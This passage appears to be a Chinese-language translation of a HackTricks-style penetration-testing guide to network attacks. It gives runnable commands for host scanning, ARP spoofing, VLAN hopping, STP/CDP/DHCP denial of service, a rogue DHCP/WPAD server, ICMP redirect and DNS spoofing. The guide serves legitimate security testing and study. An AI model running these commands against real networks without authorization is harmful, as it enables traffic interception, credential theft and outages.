Pentesting Network
{{#include ../../banners/hacktricks-training.md}}
从外部发现主机
这一部分将简要介绍如何从互联网中找到响应的IP。
在这种情况下,您有一些IP范围(甚至可能有多个范围),您只需找出哪些IP在响应。
ICMP
这是发现主机是否在线的最简单和最快的方法。
您可以尝试发送一些ICMP数据包并期待响应。最简单的方法是发送一个回显请求并等待响应。您可以使用简单的ping或使用fping来处理范围。
您还可以使用nmap发送其他类型的ICMP数据包(这将避免对常见ICMP回显请求-响应的过滤)。
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
TCP端口发现
很常见的情况是所有类型的ICMP数据包都被过滤。因此,您能做的就是尝试查找开放端口来检查主机是否在线。每个主机有65535个端口,所以如果您有一个“大的”范围,您无法测试每个主机的每个端口是否开放,这将花费太多时间。
因此,您需要的是一个快速端口扫描器 (masscan) 和一个使用最频繁的端口列表:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
您也可以使用 nmap 执行此步骤,但它较慢,并且 nmap 在识别主机时存在一些问题。
HTTP 端口发现
这只是一个 TCP 端口发现,当您想要 专注于发现 HTTP 服务 时非常有用:
masscan -p80,443,8000-8100,8443 199.66.11.0/24
UDP端口发现
您还可以尝试检查一些UDP端口是否开放,以决定是否应该更多关注一个主机。由于UDP服务通常不响应常规空UDP探测数据包,因此很难判断端口是被过滤还是开放。决定这一点的最简单方法是发送与正在运行的服务相关的数据包,由于您不知道正在运行哪个服务,您应该根据端口号尝试最可能的服务:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
提议的 nmap 命令将测试每个 /24 范围内的 前 1000 个 UDP 端口,但即使仅此也需要 >20分钟。如果需要 最快的结果,可以使用 udp-proto-scanner:./udp-proto-scanner.pl 199.66.11.53/24 这将向其 预期端口 发送这些 UDP 探测(对于 /24 范围,这只需 1 分钟):DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
SCTP 端口发现
#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn <IP/range>
Pentesting Wifi
在这里,您可以找到一份关于所有著名Wifi攻击的良好指南:
{{#ref}} ../pentesting-wifi/ {{#endref}}
Discovering hosts from the inside
如果您在网络内部,您首先想要做的事情之一是发现其他主机。根据您可以/想要制造的噪音,可以执行不同的操作:
Passive
您可以使用这些工具在连接的网络中被动发现主机:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Active
请注意,在 从外部发现主机 (TCP/HTTP/UDP/SCTP 端口发现) 中提到的技术也可以在这里应用。
但是,由于您与其他主机在同一网络中,您可以做更多事情:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
Active ICMP
注意,在 从外部发现主机 中提到的技术 (ICMP) 也可以 在这里应用。
但是,由于您与其他主机在 同一网络 中,您可以做 更多事情:
- 如果您 ping 一个 子网广播地址,ping 应该到达 每个主机,它们可能会 回应 您:
ping -b 10.10.5.255 - ping 网络广播地址,您甚至可以找到 其他子网 内的主机:
ping -b 255.255.255.255 - 使用
nmap的-PE、-PP、-PM标志进行主机发现,分别发送 ICMPv4 echo、时间戳和 子网掩码请求:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Wake On Lan
Wake On Lan 用于通过 网络消息 开启 计算机。用于开启计算机的魔法数据包只是一个提供了 MAC Dst 的数据包,然后在同一个数据包中 重复 16 次。
这种类型的数据包通常通过 以太网 0x0842 或 UDP 数据包发送到 9 端口。
如果 未提供 [MAC],数据包将发送到 广播以太网(广播 MAC 将是被重复的那个)。
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
扫描主机
一旦您发现了所有要深入扫描的 IP(外部或内部),可以执行不同的操作。
TCP
- 开放端口: SYN --> SYN/ACK --> RST
- 关闭端口: SYN --> RST/ACK
- 过滤端口: SYN --> [无响应]
- 过滤端口: SYN --> ICMP 消息
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
有两种选项可以扫描UDP端口:
- 发送一个UDP数据包并检查响应_ICMP不可达_,如果端口是关闭的(在多种情况下,ICMP会被过滤,因此如果端口关闭或打开,您将不会收到任何信息)。
- 发送格式化的数据报以引发服务的响应(例如,DNS、DHCP、TFTP等,如_nmap-payloads_中列出)。如果您收到响应,那么端口是打开的。
Nmap将使用“-sV”混合这两种选项(UDP扫描非常慢),但请注意,UDP扫描比TCP扫描慢:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
SCTP 扫描
SCTP (流控制传输协议) 旨在与 TCP (传输控制协议) 和 UDP (用户数据报协议) 一起使用。其主要目的是促进通过 IP 网络传输电话数据,反映出许多在 信令系统 7 (SS7) 中发现的可靠性特征。SCTP 是 SIGTRAN 协议族的核心组件,旨在通过 IP 网络传输 SS7 信号。
各种操作系统提供对 SCTP 的支持,如 IBM AIX、Oracle Solaris、HP-UX、Linux、Cisco IOS 和 VxWorks,这表明它在电信和网络领域的广泛接受和实用性。
nmap 提供了两种不同的 SCTP 扫描: -sY 和 -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
IDS和IPS规避
{{#ref}} ids-evasion.md {{#endref}}
更多nmap选项
{{#ref}} nmap-summary-esp.md {{#endref}}
揭示内部IP地址
配置错误的路由器、防火墙和网络设备 有时会使用 非公开源地址 对网络探测做出响应。tcpdump 可以用于识别在测试期间从私有地址接收到的数据包。具体来说,在Kali Linux上,可以在 eth2接口 上捕获数据包,该接口可以从公共互联网访问。需要注意的是,如果您的设置位于NAT或防火墙后面,这些数据包可能会被过滤掉。
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Sniffing
通过嗅探,您可以通过查看捕获的帧和数据包来了解 IP 范围、子网大小、MAC 地址和主机名的详细信息。如果网络配置错误或交换 fabric 处于压力状态,攻击者可以通过被动网络嗅探捕获敏感材料。
如果交换以太网网络配置正确,您将只看到广播帧和发往您 MAC 地址的材料。
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
可以通过SSH会话使用Wireshark作为图形用户界面实时捕获远程机器的包。
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
显然。
捕获凭据
您可以使用像 https://github.com/lgandx/PCredz 这样的工具从 pcap 或实时接口中解析凭据。
LAN 攻击
ARP 欺骗
ARP 欺骗是指发送无偿的 ARP 响应,以指示某台机器的 IP 拥有我们设备的 MAC。然后,受害者将更改 ARP 表,并在每次想要联系伪造的 IP 时联系我们的机器。
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
MAC Flooding - CAM overflow
通过发送大量具有不同源 MAC 地址的数据包来溢出交换机的 CAM 表。当 CAM 表满时,交换机开始像集线器一样工作(广播所有流量)。
macof -i <interface>
在现代交换机中,这个漏洞已经被修复。
802.1Q VLAN / DTP 攻击
动态干道
动态干道协议 (DTP) 被设计为一个链路层协议,以便于自动化的干道系统,允许交换机自动选择干道模式(Trunk)或非干道模式的端口。DTP 的部署通常被视为网络设计不佳的标志,强调了仅在必要时手动配置干道的重要性,并确保适当的文档记录。
默认情况下,交换机端口设置为动态自动模式,这意味着它们准备在邻近交换机的提示下启动干道。当渗透测试者或攻击者连接到交换机并发送 DTP Desirable 帧时,会引发安全问题,迫使端口进入干道模式。这一行为使攻击者能够通过 STP 帧分析枚举 VLAN,并通过设置虚拟接口来绕过 VLAN 分段。
许多交换机默认存在 DTP,敌手可以利用这一点模仿交换机的行为,从而获得对所有 VLAN 流量的访问。脚本 dtpscan.sh 被用来监控接口,揭示交换机是否处于默认、干道、动态、自动或接入模式——后者是唯一免受 VLAN 跳跃攻击的配置。该工具评估交换机的脆弱性状态。
如果发现网络漏洞,可以使用 Yersinia 工具通过 DTP 协议“启用干道”,从而观察所有 VLAN 的数据包。
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
要枚举VLAN,也可以使用脚本 DTPHijacking.py** 生成DTP Desirable帧。**在任何情况下都不要中断脚本。它每三秒注入一次DTP Desirable。在交换机上动态创建的干道通道仅持续五分钟。五分钟后,干道将失效。
sudo python3 DTPHijacking.py --interface eth0
我想指出的是,Access/Desirable (0x03) 表示 DTP 帧是 Desirable 类型,这告诉端口切换到 Trunk 模式。802.1Q/802.1Q (0xa5) 表示 802.1Q 封装类型。
通过分析 STP 帧,我们了解到 VLAN 30 和 VLAN 60 的存在。

攻击特定 VLAN
一旦你知道 VLAN ID 和 IP 值,你可以 配置一个虚拟接口来攻击特定 VLAN。
如果 DHCP 不可用,则使用 ifconfig 设置静态 IP 地址。
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Automatic VLAN Hopper
讨论的攻击 动态干线和创建虚拟接口以发现其他 VLAN 中的主机 是通过工具 自动执行 的: https://github.com/nccgroup/vlan-hopping---frogger
Double Tagging
如果攻击者知道 受害主机的 MAC、IP 和 VLAN ID 的值,他可以尝试 双重标记一个帧,使用其指定的 VLAN 和受害者的 VLAN 并发送一个数据包。由于 受害者无法与攻击者连接,因此 攻击者的最佳选择是通过 UDP 进行通信,与可以执行一些有趣操作的协议(如 SNMP)。
攻击者的另一个选择是发起 TCP 端口扫描,伪装成一个由攻击者控制并且受害者可以访问的 IP(可能通过互联网)。然后,攻击者可以在他拥有的第二个主机上嗅探,如果它接收到来自受害者的一些数据包。
要执行此攻击,您可以使用 scapy: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Lateral VLAN Segmentation Bypass
如果您可以访问直接连接的交换机,您就有能力绕过网络中的VLAN分段。只需将端口切换到干线模式(也称为trunk),创建具有目标VLAN ID的虚拟接口,并配置IP地址。您可以尝试动态请求地址(DHCP),或者可以静态配置。具体取决于情况。
{{#ref}} lateral-vlan-segmentation-bypass.md {{#endref}}
Layer 3 Private VLAN Bypass
在某些环境中,例如访客无线网络,实施了**端口隔离(也称为私有VLAN)**设置,以防止连接到无线接入点的客户端直接相互通信。然而,已经识别出一种可以规避这些隔离措施的技术。该技术利用了网络ACL的缺乏或其不当配置,使得IP数据包能够通过路由器路由到同一网络上的另一个客户端。
攻击是通过创建一个携带目标客户端IP地址但使用路由器MAC地址的包来执行的。这导致路由器错误地将数据包转发给目标客户端。这种方法类似于双标记攻击中使用的方法,其中利用可访问受害者的主机的能力来利用安全漏洞。
攻击的关键步骤:
- 构造数据包: 特别构造一个数据包,以包含目标客户端的IP地址,但使用路由器的MAC地址。
- 利用路由器行为: 将构造的数据包发送到路由器,由于配置原因,路由器将数据包重定向到目标客户端,绕过私有VLAN设置提供的隔离。
VTP Attacks
VTP(VLAN Trunking Protocol)集中管理VLAN。它利用修订号来维护VLAN数据库的完整性;任何修改都会增加此数字。交换机采用具有更高修订号的配置,更新自己的VLAN数据库。
VTP Domain Roles
- VTP Server: 管理VLAN——创建、删除、修改。它向域成员广播VTP公告。
- VTP Client: 接收VTP公告以同步其VLAN数据库。此角色限制本地VLAN配置修改。
- VTP Transparent: 不参与VTP更新,但转发VTP公告。不受VTP攻击影响,保持修订号为零。
VTP Advertisement Types
- Summary Advertisement: 每300秒由VTP服务器广播,携带重要的域信息。
- Subset Advertisement: 在VLAN配置更改后发送。
- Advertisement Request: 由VTP客户端发出,请求Summary Advertisement,通常是响应检测到更高的配置修订号。
VTP漏洞仅通过干线端口可被利用,因为VTP公告仅通过它们传播。DTP攻击后的场景可能会转向VTP。像Yersinia这样的工具可以促进VTP攻击,旨在清除VLAN数据库,有效地破坏网络。
注意:本讨论涉及VTP版本1(VTPv1)。
%% yersinia -G # Launch Yersinia in graphical mode ```
在Yersinia的图形模式中,选择删除所有VTP VLAN选项以清除VLAN数据库。
STP攻击
如果您无法在接口上捕获BPDU帧,那么您在STP攻击中成功的可能性很小。
STP BPDU DoS
发送大量BPDUs TCP(拓扑变化通知)或Conf(在创建拓扑时发送的BPDUs),交换机会过载并停止正常工作。
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
STP TCP攻击
当发送TCP时,交换机的CAM表将在15秒内被删除。然后,如果您持续发送这种数据包,CAM表将不断重启(或每15秒重启一次),当它重启时,交换机的行为就像一个集线器。
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
STP Root Attack
攻击者模拟交换机的行为,以成为网络的 STP 根。然后,更多的数据将通过他传输。当你连接到两个不同的交换机时,这一点很有趣。
这是通过发送 BPDUs CONF 数据包来完成的,声称 优先级 值低于实际根交换机的实际优先级。
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
如果攻击者连接到两个交换机,他可以成为新树的根,所有在这些交换机之间的流量将通过他(将执行MITM攻击)。
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
CDP 攻击
CISCO Discovery Protocol (CDP) 对于 CISCO 设备之间的通信至关重要,使它们能够 相互识别并共享配置细节。
被动数据收集
CDP 被配置为通过所有端口广播信息,这可能导致安全风险。攻击者在连接到交换机端口时,可以部署网络嗅探器,如 Wireshark、tcpdump 或 Yersinia。此操作可以揭示有关网络设备的敏感数据,包括其型号和运行的 Cisco IOS 版本。攻击者可能会针对识别出的 Cisco IOS 版本中的特定漏洞。
诱导 CDP 表泛洪
一种更激进的方法是通过假装是合法的 CISCO 设备来发起拒绝服务 (DoS) 攻击,淹没交换机的内存。以下是使用 Yersinia(一种用于测试的网络工具)发起此类攻击的命令序列:
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
在此攻击中,交换机的CPU和CDP邻居表负担沉重,导致通常被称为**“网络瘫痪”**的情况,因为资源消耗过多。
CDP冒充攻击
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
您还可以使用 scapy。确保通过 scapy/contrib 包安装它。
VoIP 攻击和 VoIP Hopper 工具
VoIP 电话与 IoT 设备的集成日益增加,提供了通过特殊电话号码解锁门或控制恒温器等功能。然而,这种集成可能会带来安全风险。
工具 voiphopper 旨在在各种环境中模拟 VoIP 电话(Cisco、Avaya、Nortel、Alcatel-Lucent)。它使用 CDP、DHCP、LLDP-MED 和 802.1Q ARP 等协议发现语音网络的 VLAN ID。
VoIP Hopper 为 Cisco 发现协议 (CDP) 提供三种模式:
- 嗅探模式 (
-c 0): 分析网络数据包以识别 VLAN ID。 - 欺骗模式 (
-c 1): 生成自定义数据包,模仿实际 VoIP 设备的数据包。 - 使用预制数据包的欺骗模式 (
-c 2): 发送与特定 Cisco IP 电话型号相同的数据包。
速度优先的模式是第三种。它需要指定:
- 攻击者的网络接口(
-i参数)。 - 被模拟的 VoIP 设备的名称(
-E参数),遵循 Cisco 命名格式(例如,SEP 后跟 MAC 地址)。
在企业环境中,为了模仿现有的 VoIP 设备,可以:
- 检查电话上的 MAC 标签。
- 浏览电话的显示设置以查看型号信息。
- 将 VoIP 设备连接到笔记本电脑,并使用 Wireshark 观察 CDP 请求。
在第三种模式下执行工具的示例命令为:
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
DHCP 攻击
枚举
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
两种类型的 DoS 可以针对 DHCP 服务器执行。第一种是 模拟足够的虚假主机以使用所有可能的 IP 地址。
此攻击仅在您能够看到 DHCP 服务器的响应并完成协议时有效 (Discover (Comp) --> Offer (server) --> Request (Comp) --> ACK (server))。例如,这在 Wifi 网络中是不可行的。
执行 DHCP DoS 的另一种方法是发送 DHCP-RELEASE 数据包,源地址为每个可能的 IP。然后,服务器会认为每个人都已完成使用该 IP。
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
一种更自动化的方法是使用工具 DHCPing
您可以使用提到的 DoS 攻击迫使客户端在环境中获取新的租约,并耗尽合法服务器,使其变得无响应。因此,当合法服务器尝试重新连接时,您可以提供下一个攻击中提到的恶意值。
设置恶意值
可以使用位于 /usr/share/responder/DHCP.py 的 DHCP 脚本设置一个流氓 DHCP 服务器。这对于网络攻击非常有用,例如通过将流量重定向到恶意服务器来捕获 HTTP 流量和凭据。然而,设置流氓网关的效果较差,因为它仅允许捕获客户端的出站流量,错过来自真实网关的响应。相反,建议设置流氓 DNS 或 WPAD 服务器以进行更有效的攻击。
以下是配置流氓 DHCP 服务器的命令选项:
- 我们的 IP 地址(网关广告):使用
-i 10.0.0.100将您的机器 IP 广告为网关。 - 本地 DNS 域名:可选地,使用
-d example.org设置本地 DNS 域名。 - 原始路由器/网关 IP:使用
-r 10.0.0.1指定合法路由器或网关的 IP 地址。 - 主 DNS 服务器 IP:使用
-p 10.0.0.100设置您控制的流氓 DNS 服务器的 IP 地址。 - 次级 DNS 服务器 IP:可选地,使用
-s 10.0.0.1设置次级 DNS 服务器 IP。 - 本地网络的子网掩码:使用
-n 255.255.255.0定义本地网络的子网掩码。 - DHCP 流量的接口:使用
-I eth1在特定网络接口上监听 DHCP 流量。 - WPAD 配置地址:使用
-w “http://10.0.0.100/wpad.dat”设置 WPAD 配置的地址,以协助拦截网络流量。 - 欺骗默认网关 IP:包括
-S来欺骗默认网关 IP 地址。 - 响应所有 DHCP 请求:包括
-R使服务器响应所有 DHCP 请求,但要注意这会产生噪音并可能被检测到。
通过正确使用这些选项,可以有效地建立一个流氓 DHCP 服务器以拦截网络流量。
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
EAP攻击
以下是可以针对802.1X实现使用的一些攻击战术:
- 通过EAP进行主动的暴力破解密码
- 使用格式错误的EAP内容攻击RADIUS服务器 **(利用)
- 捕获EAP消息并进行离线密码破解(EAP-MD5和PEAP)
- 强制EAP-MD5身份验证以绕过TLS证书验证
- 在使用集线器或类似设备进行身份验证时注入恶意网络流量
如果攻击者位于受害者与身份验证服务器之间,他可以尝试将身份验证协议降级(如有必要)到EAP-MD5并捕获身份验证尝试。然后,他可以使用以下方法进行暴力破解:
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
FHRP (GLBP & HSRP) 攻击
FHRP (第一跳冗余协议) 是一类网络协议,旨在 创建一个热冗余路由系统。通过 FHRP,物理路由器可以组合成一个单一的逻辑设备,从而提高容错能力并帮助分配负载。
思科系统工程师开发了两种 FHRP 协议,GLBP 和 HSRP。
{{#ref}} glbp-and-hsrp-attacks.md {{#endref}}
RIP
已知存在三种版本的路由信息协议 (RIP):RIP、RIPv2 和 RIPng。RIP 和 RIPv2 通过 UDP 的 520 端口向对等体发送数据报,而 RIPng 则通过 IPv6 多播向 UDP 521 端口广播数据报。RIPv2 引入了对 MD5 身份验证的支持。另一方面,RIPng 不包含原生身份验证;相反,它依赖于 IPv6 中可选的 IPsec AH 和 ESP 头。
- RIP 和 RIPv2: 通过 UDP 数据报在 520 端口进行通信。
- RIPng: 利用 UDP 521 端口通过 IPv6 多播广播数据报。
请注意,RIPv2 支持 MD5 身份验证,而 RIPng 不包括原生身份验证,依赖于 IPv6 中的 IPsec AH 和 ESP 头。
EIGRP 攻击
EIGRP (增强型内部网关路由协议) 是一种动态路由协议。它是一种距离矢量协议。 如果没有 身份验证 和被动接口的配置,入侵者 可以干扰 EIGRP 路由并导致 路由表中毒。此外,EIGRP 网络(换句话说,自治系统) 是扁平的,没有划分为任何区域。如果 攻击者注入一条路由,这条路由很可能会 传播 到整个自治 EIGRP 系统。
攻击 EIGRP 系统需要 与合法的 EIGRP 路由器建立邻接关系,这打开了许多可能性,从基本侦察到各种注入。
FRRouting 允许您实现 支持 BGP、OSPF、EIGRP、RIP 和其他协议的虚拟路由器。 您只需在攻击者的系统上部署它,实际上可以假装成为路由域中的合法路由器。
{{#ref}} eigrp-attacks.md {{#endref}}
Coly 具有拦截 EIGRP (增强型内部网关路由协议) 广播的能力。它还允许注入数据包,可用于更改路由配置。
OSPF
在开放最短路径优先 (OSPF) 协议中,通常使用 MD5 身份验证来确保路由器之间的安全通信。然而,这一安全措施可能会被像 Loki 和 John the Ripper 这样的工具破坏。这些工具能够捕获和破解 MD5 哈希,暴露身份验证密钥。一旦获得该密钥,就可以用来引入新的路由信息。要配置路由参数并建立被破坏的密钥,分别使用 Injection 和 Connection 选项卡。
- 捕获和破解 MD5 哈希: 使用 Loki 和 John the Ripper 等工具。
- 配置路由参数: 通过 Injection 选项卡进行。
- 设置被破坏的密钥: 密钥在 Connection 选项卡下配置。
其他通用工具与资源
欺骗
攻击者通过发送虚假的 DHCP 响应来配置网络中新成员的所有网络参数(GW、IP、DNS)。
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ARP Spoofing
查看上一节。
ICMPRedirect
ICMP Redirect 是发送一个类型为 1,代码为 5 的 ICMP 数据包,表示攻击者是到达某个 IP 的最佳方式。然后,当受害者想要联系该 IP 时,它将通过攻击者发送数据包。
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS Spoofing
攻击者将解析受害者请求的某些(或所有)域名。
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
使用 dnsmasq 配置自己的 DNS
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
本地网关
系统和网络通常存在多条路径。在本地网络中建立 MAC 地址列表后,使用 gateway-finder.py 来识别支持 IPv4 转发的主机。
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
欺骗 LLMNR、NBT-NS 和 mDNS
在 DNS 查询失败时,Microsoft 系统依赖于 Link-Local Multicast Name Resolution (LLMNR) 和 NetBIOS Name Service (NBT-NS) 进行本地主机解析。同样,Apple Bonjour 和 Linux 零配置 实现利用 Multicast DNS (mDNS) 在网络中发现系统。由于这些协议的无认证特性及其通过 UDP 广播消息的操作,攻击者可以利用它们将用户重定向到恶意服务。
您可以使用 Responder 冒充主机搜索的服务,发送虚假响应。
在这里阅读更多关于 如何使用 Responder 冒充服务 的信息。
欺骗 WPAD
浏览器通常使用 Web Proxy Auto-Discovery (WPAD) 协议自动获取代理设置。这涉及从服务器获取配置细节,具体通过一个 URL,例如 "http://wpad.example.org/wpad.dat"。客户端可以通过各种机制发现此服务器:
- 通过 DHCP,其中发现通过使用特殊代码 252 条目来促进。
- 通过 DNS,这涉及在本地域中搜索标记为 wpad 的主机名。
- 通过 Microsoft LLMNR 和 NBT-NS,这些是 DNS 查询未成功时使用的后备机制。
工具 Responder 利用此协议,充当 恶意 WPAD 服务器。它使用 DHCP、DNS、LLMNR 和 NBT-NS 误导客户端连接到它。要深入了解如何使用 Responder 冒充服务 请查看这个。
欺骗 SSDP 和 UPnP 设备
您可以在网络中提供不同的服务,以尝试 欺骗用户 输入一些 明文凭据。关于此攻击的更多信息在 欺骗 SSDP 和 UPnP 设备。
